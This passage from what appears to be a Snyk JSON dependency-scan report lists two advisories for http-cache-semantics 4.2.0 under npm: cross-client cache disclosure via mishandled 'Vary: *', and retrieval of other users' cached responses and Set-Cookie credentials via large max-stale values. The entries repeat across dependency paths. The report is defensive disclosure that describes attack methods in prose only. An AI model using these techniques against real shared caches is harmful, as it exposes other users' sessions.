"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@12.0.0",
"@npmcli/arborist@10.0.4",
"pacote@22.0.0",
"sigstore@5.0.0",
"@sigstore/tuf@5.0.0",
"tuf-js@6.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@12.0.0",
"@npmcli/arborist@10.0.4",
"pacote@22.0.0",
"sigstore@5.0.0",
"@sigstore/tuf@5.0.0",
"tuf-js@6.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@12.0.0",
"libnpmdiff@9.0.4",
"pacote@22.0.0",
"sigstore@5.0.0",
"@sigstore/tuf@5.0.0",
"tuf-js@6.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@12.0.0",
"libnpmdiff@9.0.4",
"pacote@22.0.0",
"sigstore@5.0.0",
"@sigstore/tuf@5.0.0",
"tuf-js@6.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@12.0.0",
"libnpmexec@11.0.4",
"pacote@22.0.0",
"sigstore@5.0.0",
"@sigstore/tuf@5.0.0",
"tuf-js@6.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
